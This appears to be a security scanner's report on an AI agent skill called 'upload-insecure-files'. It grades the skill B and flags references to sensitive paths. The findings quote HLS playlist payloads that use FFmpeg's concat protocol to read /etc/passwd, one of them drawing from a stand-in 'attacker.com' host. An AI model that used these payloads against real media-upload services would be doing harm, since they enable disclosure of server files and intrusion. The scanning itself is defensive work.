upload-insecure-files
github.com/yaklang/hack-skills
Scanned Thu, 28 May 2026 17:26:50 GMT
Scan ID crawl-x4ja6rfpj6pmikvdd95dx8aw · 2ms
B
SCORE 75 / 100
Verdict: Safe to install
2 high-severity findings.
This skill reads protected filesystem locations plus 2 other issues listed below.
0 critical2 high1 medium9 rules passed
Why grade B?
score · 75 / 100The current grade reflects 2 high-severity findings (any HIGH → B).
0 CRIT2 HIGH1 MED0 LOW
To reach a higher grade
- AReach Atarget score 95
Resolve all 2 HIGH.
Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.
Findings · ordered by severity
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
413#EXT-X-MEDIA-SEQUENCE:0
414#EXTINF:10.0,
415concat:http://attacker.com/header.txt|file:///etc/passwd← sensitive path — credential-exfiltration vector
416#EXT-X-ENDLIST
417```
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
436#EXTM3U
437#EXTINF:1,
438concat:file:///etc/passwd|subfile,,start,0,end,0,,:← sensitive path — credential-exfiltration vector
439#EXT-X-ENDLIST
440```
medNo capability manifest declaredThe skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.rule: no-manifest▾
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule:
no-manifestskillox.io/r/crawl-x4ja6rfpj6pmikvdd95dx8aw